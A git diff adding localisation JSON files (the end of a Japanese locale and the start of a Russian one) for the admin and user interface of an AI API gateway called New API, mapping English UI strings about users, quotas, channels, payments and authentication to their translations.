+    "Use a compatible browser or device with biometric authentication or a security key to register a Passkey.": "生体認証またはセキュリティキーを備えた互換性のあるブラウザまたはデバイスを使用して、パスキーを登録してください。",
+    "Use authenticator code": "認証コードを使用",
+    "Use backup code": "バックアップコードを使用",
+    "Use disk cache when request body exceeds this size": "リクエストボディがこのサイズを超えた場合にディスクキャッシュを使用",
+    "Use our unified OpenAI-compatible endpoint in your applications": "アプリケーションでOpenAI互換の統一エンドポイントを使用",
+    "Use Passkey to sign in without entering your password.": "パスワードを入力せずにサインインするには、パスキーを使用してください。",
+    "Use secure connection when sending emails": "メール送信時に安全な接続を使用する",
+    "Use sidebar shortcut": "サイドバーのショートカットを使用",
+    "Use this token for API authentication": "API認証にはこのトークンを使用してください",
+    "Use your Passkey": "パスキーを使用",
+    "used": "使用済み",
+    "Used": "使用済み",
+    "Used / Remaining": "使用済み / 残り",
+    "Used for load balancing. Higher weight = more requests": "ロードバランシングに使用されます。重みが高いほどリクエスト数が増えます",
+    "Used in URLs and API routes": "URLとAPIルートで使用されます",
+    "Used Quota": "使用済みクォータ",
+    "Used to authenticate with io.net deployment API": "io.net デプロイ API の認証に使用します",
+    "Used to authenticate with the worker. Leave blank to keep the existing secret.": "ワーカーの認証に使用されます。既存のシークレットを保持するには、空欄のままにしてください。",
+    "Used:": "使用済み:",
+    "User": "ユーザー",
+    "User {{id}}": "ユーザー {{id}}",
+    "User Agreement": "ユーザー利用規約",
+    "User Analytics": "ユーザー統計",
+    "User Consumption Ranking": "ユーザー消費ランキング",
+    "User Consumption Trend": "ユーザー消費トレンド",
+    "User created successfully": "ユーザーの作成に成功しました",
+    "User dashboard and quota controls.": "ユーザーダッシュボードとクォータ制御。",
+    "User Exclusive Ratio": "専用倍率",
+    "User Group": "ユーザーグループ",
+    "User group name": "ユーザーグループ名",
+    "User Group: {{ratio}}x": "ユーザーグループ：{{ratio}}x",
+    "User groups that can access channels with this tag": "このタグを持つチャンネルにアクセスできるユーザーグループ",
+    "User groups that can access this channel. ": "このチャネルにアクセスできるユーザグループ。",
+    "User ID": "ユーザー ID",
+    "User ID Field": "ユーザーIDフィールド",
+    "User ID:": "ユーザーID:",
+    "User Info Endpoint": "ユーザー情報エンドポイント",
+    "User Info Endpoint (Optional)": "ユーザー情報エンドポイント（オプション）",
+    "User Information": "ユーザー情報",
+    "User Menu": "ユーザーメニュー",
+    "User personal functions": "ユーザー個人機能",
+    "User Subscription Management": "ユーザーサブスクリプション管理",
+    "User updated successfully": "ユーザーの更新に成功しました",
+    "User Verification": "ユーザー認証",
+    "User-Agent include (one per line)": "User-Agent include（1行に1つ）",
+    "Username": "ユーザー名",
+    "Username confirmation does not match": "ユーザー名の確認が一致しません",
+    "Username Field": "ユーザー名フィールド",
+    "Username or Email": "ユーザー名またはメールアドレス",
+    "Users": "ユーザー",
+    "Users call the model on the left. The platform forwards the request to the upstream model on the right.": "ユーザーは左側のモデルを呼び出します。プラットフォームはリクエストを右側のアップストリームモデルに転送します。",
+    "Users must wait for a successful drawing before upscales or variations.": "アップスケールやバリエーションを行う前に、ユーザーは成功した描画を待つ必要があります。",
+    "uses": "使用回数",
+    "Validity": "有効期間",
+    "Validity Period": "有効期間",
+    "Value": "値",
+    "Value must be at least 0": "値は 0 以上である必要があります",
+    "Value Regex": "Value 正規表現",
+    "variable": "変数",
+    "variable) *": "変数) *",
+    "Variables": "変数",
+    "Vary": "バリエーション",
+    "Vary (Strong)": "バリエーション（強）",
+    "Vary (Subtle)": "バリエーション（微）",
+    "Vendor": "ベンダー",
+    "Vendor deleted successfully": "ベンダーが正常に削除されました",
+    "Vendor Name *": "ベンダー名 *",
+    "Vendor:": "ベンダー:",
+    "Verification code": "確認コード",
+    "Verification Code": "認証コード",
+    "Verification code must be 6 digits": "認証コードは6桁である必要があります",
+    "Verification code sent! Please check your email.": "認証コードを送信しました！メールを確認してください。",
+    "Verification code updates every 30 seconds.": "認証コードは 30 秒ごとに更新されます。",
+    "Verification email sent": "認証メールを送信しました",
+    "Verification failed": "認証に失敗しました",
+    "Verification is not configured properly": "認証が正しく設定されていません",
+    "Verification required to reveal the saved key.": "保存されたキーを表示するには、認証が必要です。",
+    "Verify": "認証",
+    "Verify and Sign In": "確認してサインイン",
+    "Verify Setup": "設定を確認",
+    "Verify your database connection": "データベース接続を確認",
+    "Version Overrides": "バージョンオーバーライド",
+    "Vertex AI": "Vertex AI",
+    "Vertex AI does not support functionResponse.id. Enable this to remove the field automatically.": "Vertex AI は functionResponse.id フィールドをサポートしません。有効にすると自動的に削除します。",
+    "Vertex AI Key Format": "Vertex AIキー形式",
+    "Video": "動画",
+    "Video Remix": "動画 Remix",
+    "Vidu": "Vidu",
+    "View": "表示",
+    "View all currently available models": "現在利用可能なすべてのモデルを表示",
+    "View and manage your API usage logs": "API使用ログの表示と管理",
+    "View and manage your drawing logs": "描画ログの表示と管理",
+    "View and manage your task logs": "タスクログの表示と管理",
+    "View dashboard overview and statistics": "ダッシュボードの概要と統計を表示",
+    "View detailed information about this user including balance, usage statistics, and invitation details.": "残高、使用統計、招待の詳細など、このユーザーに関する詳細情報を表示します。",
+    "View details": "詳細を表示",
+    "View document": "ドキュメントを表示",
+    "View logs": "ログを表示",
+    "View mode": "表示モード",
+    "View model call count analytics and charts": "モデル呼び出し回数の分析とグラフを表示",
+    "View model statistics and charts": "モデルの統計とグラフを表示",
+    "View Pricing": "価格を見る",
+    "View the complete details for this": "この",
+    "View the complete details for this log entry": "このログエントリの完全な詳細を表示",
+    "View the complete error message and details": "エラーメッセージと詳細を表示",
+    "View the complete prompt and its English translation": "プロンプト全文と英語訳を表示",
+    "View the generated image": "生成された画像を表示",
+    "View user consumption statistics and charts": "ユーザー消費統計とチャートを表示",
+    "View your topup transaction records and payment history": "チャージ取引記録と支払い履歴を表示",
+    "Violation Code": "違反コード",
+    "Violation deduction amount": "違反控除金額",
+    "Violation Fee": "違反料金",
+    "Violation Marker": "違反マーカー",
+    "vip": "vip",
+    "VIP users with premium access": "プレミアムアクセス権を持つVIPユーザー",
+    "Visit Settings → General and adjust quota options...": "「設定」→「一般」にアクセスして、クォータオプションを調整してください...",
+    "Visitors must authenticate before accessing the pricing directory.": "訪問者は料金ディレクトリにアクセスする前に認証を行う必要があります。",
+    "Visual": "ビジュアル",
+    "Visual editor": "ビジュアルエディター",
+    "Visual Editor": "ビジュアルエディタ",
+    "Visual indicator color for the API card": "APIカードの視覚的なインジケーターの色",
+    "Visual Mode": "ビジュアルモード",
+    "VolcEngine": "VolcEngine",
+    "Waffo Pancake Payment Gateway": "Waffo Pancake 決済ゲートウェイ",
+    "Waffo Payment": "Waffo決済",
+    "Waffo Payment Gateway": "Waffo決済ゲートウェイ",
+    "Waffo Public Key (Production)": "Waffo公開鍵（本番）",
+    "Waffo Public Key (Sandbox)": "Waffo公開鍵（サンドボックス）",
+    "Waiting": "待機中",
+    "Waiting for email...": "メールを待っています...",
+    "Wallet": "ウォレット",
+    "Wallet First": "ウォレット優先",
+    "Wallet Management": "ウォレット管理",
+    "Wallet management and personal preferences.": "ウォレット管理と個人設定。",
+    "Wallet Only": "ウォレットのみ",
+    "Warning": "警告",
+    "Warning: Base URL should not end with /v1. New API will handle it automatically. This may cause request failures.": "警告: Base URL は /v1 で終わってはいけません。New API が自動的に処理します。これによりリクエストが失敗する可能性があります。",
+    "Warning: Disabling 2FA will make your account less secure.": "警告: 2FAを無効にすると、アカウントのセキュリティが低下します。",
+    "Warning: This action is permanent and irreversible!": "警告: この操作は永続的で元に戻せません！",
+    "We apologize for the inconvenience.": "ご不便をおかけして申し訳ありません。",
+    "We could not load the setup status.": "セットアップステータスを読み込めませんでした。",
+    "We will prompt your device to confirm using biometrics or your hardware key.": "生体認証またはハードウェアキーを使用して確認するよう、デバイスにプロンプトが表示されます。",
+    "We'll be back online shortly.": "まもなくオンラインに戻ります。",
+    "Web Search": "Web 検索",
+    "Webhook Configuration:": "Webhook設定:",
+    "Webhook public key (production)": "Webhook 公開鍵（本番）",
+    "Webhook public key (production) is required": "本番用 Webhook 公開鍵は必須です",
+    "Webhook public key (sandbox)": "Webhook 公開鍵（サンドボックス）",
+    "Webhook public key (sandbox) is required": "サンドボックス用 Webhook 公開鍵は必須です",
+    "Webhook secret": "Webhookシークレット",
+    "Webhook Secret": "Webhookシークレット",
+    "Webhook signing secret (leave blank unless updating)": "Webhook署名シークレット (更新する場合を除き、空白のままにしてください)",
+    "Webhook URL": "Webhook URL",
+    "Webhook URL:": "Webhook URL:",
+    "Website is under maintenance!": "ウェブサイトはメンテナンス中です！",
+    "WeChat": "WeChat Pay",
+    "WeChat login QR code": "WeChatログインQRコード",
+    "WeChat QR code will be displayed here": "WeChat QRコードがここに表示されます",
+    "WeChat sign in": "WeChatでサインイン",
+    "Week": "週",
+    "Weekday": "曜日",
+    "Weekly": "毎週",
+    "Weekly Window": "週間ウィンドウ",
+    "Weight": "ウェイト",
+    "Welcome back!": "おかえりなさい！",
+    "Welcome to our New API...": "New API へようこそ...",
+    "Well-Known URL": "よく知られたURL",
+    "Well-Known URL must start with http:// or https://": "Well-Known URL は http:// または https:// で始まる必要があります",
+    "What would you like to know?": "何を知りたいですか？",
+    "When conditions match, the final price is multiplied by X. Multiple matches multiply together; values < 1 act as discounts.": "条件に一致したとき、最終価格に X を掛けます。複数一致は掛け合わさり、1 未満は割引として効きます。",
+    "When enabled, if channels in the current group fail, it will try channels in the next group in order.": "有効にすると、現在のグループのチャンネルが失敗した場合、次のグループのチャンネルを順番に試します。",
+    "When enabled, large request bodies are temporarily stored on disk instead of memory, significantly reducing memory usage. SSD recommended.": "有効にすると、大きなリクエストボディはメモリではなくディスクに一時保存され、メモリ使用量が大幅に削減されます。SSD環境での使用を推奨します。",
+    "When enabled, Midjourney callbacks are accepted (reveals server IP).": "有効にすると、Midjourney のコールバックを受け入れます (サーバーの IP を公開します)。",
+    "When enabled, newly created tokens start in the first auto group.": "有効にすると、新しく作成されたトークンは最初の自動グループで開始されます。",
+    "When enabled, prompts are scanned before reaching upstream models.": "有効にすると、プロンプトはアップストリームモデルに到達する前にスキャンされます。",
+    "When enabled, the store field will be blocked": "有効にすると、ストアフィールドはブロックされます",
+    "When enabled, violation requests will incur additional charges.": "有効にすると、違反リクエストに追加料金が発生します。",
+    "When enabled, zero-cost models also pre-consume quota before final settlement.": "有効にすると、ゼロコストモデルも最終決済前にクォータを事前消費します。",
+    "When performance monitoring is enabled and system resource usage exceeds the set threshold, new Relay requests will be rejected.": "パフォーマンス監視を有効にすると、システムリソース使用率が閾値を超えた場合、新しいRelayリクエストが拒否されます。",
+    "When running in containers or ephemeral environments, ensure the SQLite file is mapped to persistent storage to avoid data loss on restart.": "コンテナまたは一時的な環境で実行する場合、再起動時のデータ損失を防ぐために、SQLiteファイルが永続ストレージにマッピングされていることを確認してください。",
+    "Whitelist": "ホワイトリスト",
+    "Whitelist (Only allow listed domains)": "ホワイトリスト (リストされたドメインのみを許可)",
+    "Whitelist (Only allow listed IPs)": "ホワイトリスト (リストされたIPのみを許可)",
+    "whsec_xxx": "whsec_xxx",
+    "Window:": "ウィンドウ：",
+    "with conflicts": "競合あり",
+    "Worker Access Key": "Workerアクセスキー",
+    "Worker Proxy": "Workerプロキシ",
+    "Worker URL": "ワーカーURL",
+    "Workspaces": "ワークスペース",
+    "x": "x",
+    "xAI": "xAI",
+    "Xinference": "Xinference",
+    "Xunfei": "Xunfei",
+    "years": "年",
+    "You are about to delete {{count}} API key(s).": "{{count}}個のAPIキーを削除しようとしています。",
+    "You are running the latest version ({{version}}).": "最新バージョン ({{version}}) を使用中です。",
+    "You can close this tab once the binding completes or a success message appears in the original window.": "バインディングが完了するか、元のウィンドウに成功メッセージが表示されたら、このタブを閉じることができます。",
+    "You can manually add them in \"Custom Model Names\", click \"Fill\" and then submit, or use the operations below to handle automatically.": "\"カスタムモデル名\"で手動で追加し、\"入力\"をクリックしてから送信するか、以下の操作を使用して自動的に処理できます。",
+    "You can only check in once per day": "チェックインできるのは1日1回のみです",
+    "You don't have necessary permission": "必要な権限がありません",
+    "You have unsaved changes": "未保存の変更があります",
+    "You have unsaved changes. Are you sure you want to leave?": "未保存の変更があります。離れてもよろしいですか？",
+    "You Pay": "お支払い額",
+    "You save": "節約額",
+    "You will be redirected to Telegram to complete the binding process.": "バインドプロセスを完了するためにTelegramにリダイレクトされます。",
+    "You'll be redirected automatically. You can return to the previous page if nothing happens after a few seconds.": "自動的にリダイレクトされます。数秒経っても何も起こらない場合は、前のページに戻ることができます。",
+    "your AI integration?": "AIインテグレーションを？",
+    "Your Azure OpenAI endpoint URL": "あなたのAzure OpenAIエンドポイント URL",
+    "Your Bot Name": "あなたのボット名",
+    "Your Cloudflare Account ID": "あなたのCloudflareアカウントID",
+    "Your Discord OAuth Client ID": "Discord OAuth クライアント ID",
+    "Your Discord OAuth Client Secret": "Discord OAuth クライアント シークレット",
+    "Your GitHub OAuth Client ID": "あなたのGitHub OAuthクライアントID",
+    "Your GitHub OAuth Client Secret": "あなたのGitHub OAuthクライアントシークレット",
+    "Your new backup codes are ready": "新しいバックアップコードの準備ができました",
+    "Your Referral Link": "あなたの紹介リンク",
+    "Your system access token for API authentication. Keep it secure and don't share it with others.": "API認証用のシステムアクセストークンです。安全に保管し、他者と共有しないでください。",
+    "Your Telegram Bot Token": "あなたのTelegramボットトークン",
+    "Your Turnstile secret key": "あなたのTurnstileシークレットキー",
+    "Your Turnstile site key": "あなたのTurnstileサイトキー",
+    "Zhipu": "Zhipu",
+    "Zhipu V4": "Zhipu V 4",
+    "Zoom": "ズーム"
+  }
+}
diff --git a/new-api/web/default/src/i18n/locales/ru.json b/new-api/web/default/src/i18n/locales/ru.json
new file mode 100644
index 0000000..5d21bd4
--- /dev/null
+++ b/new-api/web/default/src/i18n/locales/ru.json
@@ -0,0 +1,3683 @@
+{
+  "translation": {
+    "360": "360",
+    "1000": "1000",
+    "10000": "10000",
+    "_copy": "_копировать",
+    ", and": ", и",
+    "? This action cannot be undone.": "? Это действие невозможно отменить.",
+    ". Please fix the JSON before saving.": ". Пожалуйста, исправьте JSON перед сохранением.",
+    ". This action cannot be undone.": ". Это действие невозможно отменить.",
+    "...": "...",
+    "\"default\": \"us-central1\", \"claude-3-5-sonnet-20240620\": \"europe-west1\"": "\"default\": \"us-central1\", \"claude-3-5-sonnet-20240620\": \"europe-west1\"",
+    "(Leave empty to dissolve tag)": "(Оставьте пустым, чтобы удалить тег)",
+    "(Optional: redirect model names)": "(Необязательно: перенаправить имена моделей)",
+    "(Override all channels' groups)": "(Переопределить группы всех каналов)",
+    "(Override all channels' models)": "(Переопределить модели всех каналов)",
+    "[{\"ChatGPT\":\"https://chat.openai.com\"},{\"Lobe Chat\":\"https://chat-preview.lobehub.com/?settings={...}\"}]": "[{\"ChatGPT\":\"https://chat.openai.com\"},{\"Lobe Chat\":\"https://chat-preview.lobehub.com/?settings={...}\"}]",
+    "[{\"name\":\"支付宝\",\"type\":\"alipay\",\"color\":\"#1677FF\"}]": "[{\"name\":\"Alipay\",\"type\":\"alipay\",\"color\":\"#1677FF\"}]",
+    "{\"original-model\": \"replacement-model\"}": "{\"original-model\": \"replacement-model\"}",
+    "{{category}} Models": "Модели {{category}}",
+    "{{count}} channel(s) deleted": "Удалено {{count}} каналов",
+    "{{count}} channel(s) disabled": "Отключено {{count}} каналов",
+    "{{count}} channel(s) enabled": "Включено {{count}} каналов",
+    "{{count}} channel(s) failed to disable": "Не удалось отключить {{count}} каналов",
+    "{{count}} channel(s) failed to enable": "Не удалось включить {{count}} каналов",
+    "{{count}} days ago": "{{count}} дней назад",
+    "{{count}} days remaining": "Осталось {{count}} дней",
+    "{{count}} disabled channel(s) deleted": "Удалено {{count}} отключённых каналов",
+    "{{count}} hours ago": "{{count}} часов назад",
+    "{{count}} IP(s)": "{{count}} IP",
+    "{{count}} log entries removed.": "Удалено {{count}} записей журнала.",
+    "{{count}} minutes ago": "{{count}} минут назад",
+    "{{count}} model(s)": "{{count}} модел(ей)",
+    "{{count}} months ago": "{{count}} месяцев назад",
+    "{{count}} override": "{{count}} переопределений",
+    "{{count}} tiers": "{{count}} уровней",
+    "{{count}} weeks ago": "{{count}} недель назад",
+    "{{field}} updated to {{value}}": "{{field}} обновлено на {{value}}",
+    "{{field}} updated to {{value}} for tag: {{tag}}": "{{field}} обновлено на {{value}} для тега: {{tag}}",
+    "{{n}} model(s) selected": "Выбрано моделей: {{n}}",
+    "{{value}}ms": "{{value}} мс",
+    "{{value}}s": "{{value}} с",
+    "@lobehub/icons key": "Ключ @lobehub/icons",
+    "@lobehub/icons key name": "Имя ключа @lobehub/icons",
+    "/status/": "/status/",
+    "/your/endpoint": "/your/endpoint",
+    "% off": "скидка",
+    "`, and `-nothinking` suffixes while routing to the correct Gemini variant.": "суффиксы `, и `-nothinking` при маршрутизации к правильному варианту Gemini.",
+    "© 2025 Your Company. All rights reserved.": "© 2025 Ваша Компания. Все права защищены.",
+    "| Based on": "| На основе",
+    "0 means unlimited": "0 означает без ограничений",
+    "1 Day": "1 день",
+    "1 day ago": "1 день назад",
+    "1 Hour": "1 ч.",
+    "1 hour ago": "1 час назад",
+    "1 minute ago": "1 минуту назад",
+    "1 Month": "1 мес.",
+    "1 month ago": "1 месяц назад",
+    "1 week ago": "1 неделю назад",
+    "1 year ago": "1 год назад",
+    "1. Create an application in your Gotify server": "1. Создайте приложение на вашем сервере Gotify",
+    "1) Click \"Open authorization page\" and complete login. 2) Your browser may redirect to localhost (it is OK if the page does not load). 3) Copy the full URL from the address bar and paste it below. 4) Click \"Generate credential\".": "1) Нажмите «Открыть страницу авторизации» и войдите. 2) Браузер может перенаправить на localhost — это нормально. 3) Скопируйте полный URL из адресной строки и вставьте ниже. 4) Нажмите «Создать учётные данные».",
+    "10 / page": "10 / страница",
+    "100 / page": "100 / страница",
+    "14 Days": "14 дней",
+    "192.168.1.1&#10;10.0.0.0/8": "192.168.1.1&#10;10.0.0.0/8",
+    "1M": "1М",
+    "1W": "1Н",
+    "2. Copy the application token": "2. Скопируйте токен приложения",
+    "20 / page": "20 / страница",
+    "24 Hours": "24 часа",
+    "24 hours ago": "24 часа назад",
+    "29 Days": "29 дней",
+    "3. Enter your Gotify server URL and token above": "3. Введите URL вашего сервера Gotify и токен выше",
+    "30 Days": "30 дней",
+    "30 days ago": "30 дней назад",
+    "5-Hour Window": "5-часовое окно",
+    "50 / page": "50 / страница",
+    "7 Days": "7 дней",
+    "7 days ago": "7 дней назад",
+    "80,443,8080": "80,443,8080",
+    "About": "О проекте",
+    "Accept Unpriced Models": "Принимать модели без цены",
+    "Accepts a JSON array of model identifiers that support the Imagine API.": "Принимает JSON-массив идентификаторов моделей, поддерживающих Imagine API.",
+    "Accepts comma-separated status codes and inclusive ranges.": "Принимает коды статуса, разделенные запятыми, и включающие диапазоны.",
+    "Access Denied Message": "Сообщение об отказе в доступе",
+    "Access Forbidden": "Доступ запрещен",
+    "Access Policy (JSON)": "Политика доступа (JSON)",
+    "Access previous conversations and start new ones.": "Доступ к предыдущим разговорам и начало новых.",
+    "Access Token": "Токен доступа",
+    "AccessKey / SecretAccessKey": "AccessKey / SecretAccessKey",
+    "Account Binding Management": "Управление привязкой аккаунта",
+    "Account Bindings": "Привязки аккаунта",
+    "Account created! Please sign in": "Аккаунт создан! Пожалуйста, войдите в систему",
+    "Account deleted successfully": "Аккаунт успешно удалён",
+    "Account ID *": "ID аккаунта *",
+    "Account Info": "Информация об аккаунте",
+    "Account used when authenticating with the SMTP server": "Учетная запись, используемая при аутентификации с SMTP-сервером",
+    "Action confirmation": "Подтверждение действия",
+    "Actions": "Операции",
+    "active": "активный",
+    "Active": "Активна",
+    "Active Cache Count": "Активных кэшей",
+    "Active Files": "Активных файлов",
+    "active users": "активных пользователей",
+    "Actual Amount": "Фактическая сумма",
+    "Actual Model": "Фактическая модель",
+    "Actual Model:": "Фактическая модель:",
+    "Add": "Добавить",
+    "Add {{title}}": "Добавить {{title}}",
+    "Add a group identifier to the auto assignment list.": "Добавить идентификатор группы в список автоматического назначения.",
+    "Add a new API key by providing necessary info.": "Добавьте новый API-ключ, предоставив необходимую информацию.",
+    "Add a new channel by providing the necessary information.": "Добавьте новый канал, предоставив необходимую информацию.",
+    "Add a new model to the system by providing the necessary information.": "Добавьте новую модель в систему, предоставив необходимую информацию.",
+    "Add a new user by providing necessary info.": "Добавьте нового пользователя, предоставив необходимую информацию.",
+    "Add a new vendor to the system": "Добавить нового поставщика в систему",
+    "Add an extra layer of security to your account": "Добавьте дополнительный уровень безопасности к вашей учетной записи",
+    "Add and submit": "Добавить и отправить",
+    "Add Announcement": "Добавить объявление",
+    "Add API": "Добавить API",
+    "Add API Shortcut": "Добавить ярлык API",
+    "Add auto group": "Добавить автогруппу",
+    "Add chat preset": "Добавить предустановку чата",
+    "Add condition": "Добавить условие",
+    "Add custom model(s), comma-separated": "Добавить пользовательскую модель(и), через запятую",
+    "Add discount tier": "Добавить уровень скидки",
+    "Add each model or tag you want to include.": "Добавьте каждую модель или тег, который хотите включить.",
+    "Add FAQ": "Добавить вопрос-ответ",
+    "Add from available models...": "Добавить из доступных моделей...",
+    "Add Funds": "Добавить средства",
+    "Add group": "Добавить группу",
+    "Add Group": "Добавить группу",
+    "Add group rate limit": "Добавить ограничение скорости группы",
+    "Add group rules": "Добавить правила группы",
+    "Add Mapping": "Добавить сопоставление",
+    "Add method": "Добавить метод",
+    "Add Mode": "Добавить режим",
+    "Add model": "Добавить модель",
+    "Add Model": "Добавить модель",
+    "Add Models": "Добавить модели",
+    "Add new amount": "Добавить новую сумму",
+    "Add new redemption code(s) by providing necessary info.": "Добавьте новый(-ые) код(-ы) активации, предоставив необходимую информацию.",
+    "Add OAuth Provider": "Добавить поставщика OAuth",
+    "Add param/header": "Добавить param / header",
+    "Add payment method": "Добавить способ оплаты",
+    "Add photos or files": "Добавить фото или файлы",
+    "Add product": "Добавить продукт",
+    "Add Provider": "Добавить поставщика",
+    "Add Quota": "Добавить квоту",
+    "Add ratio override": "Добавить переопределение коэффициента",
+    "Add Row": "Добавить строку",
+    "Add Rule": "Добавить правило",
+    "Add rule group": "Добавить группу правил",
+    "Add selectable group": "Добавить выбираемую группу",
+    "Add subscription": "Добавить подписку",
+    "Add tags...": "Добавить теги...",
+    "Add tier": "Добавить уровень",
+    "Add time condition": "Добавить условие по времени",
+    "Add time rule group": "Добавить группу правил по времени",
+    "Add Uptime Kuma Group": "Добавить группу Uptime Kuma",
+    "Add User": "Добавить пользователя",
+    "Add user group": "Добавить группу пользователей",
+    "Add your API keys, set up channels and configure access permissions": "Добавьте ваши API-ключи, настройте каналы и права доступа",
+    "Added {{count}} custom model(s)": "Добавлено {{count}} пользовательских моделей",
+    "Added {{count}} model(s)": "Добавлено {{count}} моделей",
+    "Added successfully": "Успешно добавлено",
+    "Additional information": "Дополнительная информация",
+    "Additional Information": "Дополнительная информация",
+    "Additional Limit": "Доп. лимит",
+    "Additional Limits": "Дополнительные лимиты",
+    "Additional metered capability": "Дополнительная зарезервированная ёмкость (metered)",
+    "Adjust Quota": "Изменить квоту",
+    "Adjust the appearance and layout to suit your preferences.": "Настройте внешний вид и макет в соответствии с вашими предпочтениями.",
+    "Admin": "Администратор",
+    "Admin access required": "Требуется доступ администратора",
+    "Admin area": "Область администратора",
+    "Admin notes (only visible to admins)": "Заметки администратора (видны только администраторам)",
+    "Admin Only": "Только для администраторов",
+    "Administer user accounts and roles.": "Управление учетными записями пользователей и ролями.",
+    "Administrator account": "Учетная запись администратора",
+    "Administrator username": "Имя пользователя администратора",
+    "Advanced": "Расширенные",
+    "Advanced Configuration": "Расширенная конфигурация",
+    "Advanced options": "Расширенные параметры",
+    "Advanced Options": "Расширенные параметры",
+    "Advanced platform configuration.": "Расширенная настройка платформы.",
+    "Advanced Settings": "Расширенные настройки",
+    "After clicking the button, you'll be asked to authorize the bot": "После нажатия кнопки вам будет предложено авторизовать бота",
+    "After disabling, it will no longer be shown to users, but historical orders are not affected. Continue?": "После отключения план не будет отображаться пользователям, но исторические заказы не затронуты. Продолжить?",
+    "After enabling, the plan will be shown to users. Continue?": "После включения план будет отображаться пользователям. Продолжить?",
+    "After invalidating, this subscription will be immediately deactivated. Historical records are not affected. Continue?": "После аннулирования подписка будет немедленно деактивирована. Исторические записи не затронуты. Продолжить?",
+    "After scanning, the binding will complete automatically": "После сканирования привязка завершится автоматически",
+    "Agent ID *": "Идентификатор агента *",
+    "Aggregated usage metrics and trend charts.": "Агрегированные метрики использования и графики трендов.",
+    "aggregates 50+ AI providers behind one unified API. Manage access, track costs, and scale effortlessly.": "объединяет 50+ ИИ-провайдеров за единым API. Управляйте доступом, отслеживайте затраты и масштабируйтесь без усилий.",
+    "AGPL v3.0 License": "Лицензия AGPL v3.0",
+    "AI model testing environment": "Среда тестирования ИИ моделей",
+    "AI models": "Модели ИИ",
+    "AI models supported": "Поддерживаемые модели ИИ",
+    "AI Proxy": "AI Proxy",
+    "AI Proxy Library": "Библиотека прокси AI",
+    "AIGC2D": "AIGC2D",
+    "AILS": "AILS",
+    "AK/SK mode: use AccessKey|SecretAccessKey|Region": "Режим AK/SK: используйте AccessKey|SecretAccessKey|Region",
+    "Ali": "Ali",
+    "All": "Все",
+    "All edits are overwrite operations. Leave fields empty to keep current values unchanged.": "Все изменения являются операциями перезаписи. Оставьте поля пустыми, чтобы сохранить текущие значения без изменений.",
+    "All files exceed the maximum size.": "Все файлы превышают максимальный размер.",
+    "All Groups": "Все группы",
+    "All Models": "Все модели",
+    "All models in use are properly configured.": "Все используемые модели настроены правильно.",
+    "All Status": "Все статусы",
+    "All Sync Status": "Все статусы синхронизации",
+    "All Tags": "Все теги",
+    "All Types": "Все типы",
+    "All upstream data is trusted": "Все вышестоящие данные являются доверенными",
+    "All Vendors": "Все поставщики",
+    "All Your AI Models": "Все ваши ИИ-модели",
+    "Allocated Memory": "Выделенная память",
+    "Allow accountFilter parameter": "Разрешить параметр accountFilter",
+    "Allow Claude beta query passthrough": "Разрешить проброс бета-запросов Claude",
+    "Allow clients to query configured ratios via `/api/ratio`.": "Разрешить клиентам запрашивать настроенные соотношения через `/api/ratio`.",
+    "Allow HTTP image requests": "Разрешить HTTP-запросы изображений",
+    "Allow include usage obfuscation passthrough": "Разрешить проброс обфускации использования",
+    "Allow inference geography passthrough": "Разрешить проброс географии инференса",
+    "Allow inference_geo passthrough": "Разрешить передачу inference_geo",
+    "Allow Insecure Origins": "Разрешить небезопасные источники",
+    "Allow new users to register": "Разрешить регистрацию новым пользователям",
+    "Allow Private IPs": "Разрешить частные IP-адреса",
+    "Allow registration with password": "Разрешить регистрацию по паролю",
+    "Allow requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)": "Разрешить запросы к частным диапазонам IP-адресов (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)",
+    "Allow safety_identifier passthrough": "Разрешить сквозную передачу Safety_Identifier",
+    "Allow service_tier passthrough": "Разрешить сквозную передачу service_tier",
+    "Allow speed passthrough": "Разрешить передачу speed",
+    "Allow upstream callbacks": "Разрешить обратные вызовы upstream",
+    "Allow users to check in daily for random quota rewards": "Разрешить пользователям регистрироваться ежедневно для получения случайных квотных наград",
+    "Allow users to enter promo codes": "Разрешить пользователям вводить промокоды",
+    "Allow users to log in with password": "Разрешить пользователям входить по паролю",
+    "Allow users to register and sign in with Passkey (WebAuthn)": "Разрешить пользователям регистрироваться и входить с помощью Passkey (WebAuthn)",
+    "Allow users to sign in with Discord": "Разрешить пользователям входить через Discord",
+    "Allow users to sign in with GitHub": "Разрешить пользователям входить через GitHub",
+    "Allow users to sign in with LinuxDO": "Разрешить пользователям входить через LinuxDO",
+    "Allow users to sign in with OpenID Connect": "Разрешить пользователям входить через OpenID Connect",
+    "Allow users to sign in with Telegram": "Разрешить пользователям входить через Telegram",
+    "Allow users to sign in with this provider": "Разрешить пользователям входить через этого поставщика",
+    "Allow users to sign in with WeChat": "Разрешить пользователям входить через WeChat",
+    "Allow using models without price configuration": "Разрешить использование моделей без настройки цен",
+    "Allowed": "Разрешено",
+    "Allowed Origins": "Разрешенные Origins",
+    "Allowed Ports": "Разрешенные порты",
+    "Already have an account?": "Уже есть аккаунт?",
+    "Always matches (default tier).": "Всегда совпадает (уровень по умолчанию).",
+    "Amount": "Сумма",
+    "Amount cannot be changed when editing.": "Количество нельзя изменить при редактировании.",
+    "Amount discount": "Скидка на сумму",
+    "Amount Due": "Сумма к оплате",
+    "Amount must be a whole number": "Сумма должна быть целым числом",
+    "Amount must be greater than 0": "Сумма должна быть больше 0",
+    "Amount of quota to credit to user account.": "Количество квоты для зачисления на счет пользователя.",
+    "Amount options must be a JSON array": "Варианты сумм должны быть JSON-массивом",
+    "Amount to pay:": "Сумма к оплате:",
+    "An unexpected error occurred": "Произошла непредвиденная ошибка",
+    "and": "и",
+    "Announcement added. Click \"Save Settings\" to apply.": "Объявление добавлено. Нажмите \"Сохранить настройки\", чтобы применить.",
+    "Announcement content": "Содержимое объявления",
+    "Announcement deleted. Click \"Save Settings\" to apply.": "Объявление удалено. Нажмите \"Сохранить настройки\", чтобы применить.",
+    "Announcement Details": "Детали объявления",
+    "Announcement displayed to users (supports Markdown & HTML)": "Объявление, отображаемое пользователям (поддерживает Markdown и HTML)",
+    "Announcement updated. Click \"Save Settings\" to apply.": "Объявление обновлено. Нажмите \"Сохранить настройки\", чтобы применить.",
+    "Announcements": "Объявления",
+    "Announcements saved successfully": "Объявления успешно сохранены",
+    "Answer": "Ответ",
+    "Anthropic": "Anthropic",
+    "API Addresses": "Адреса API",
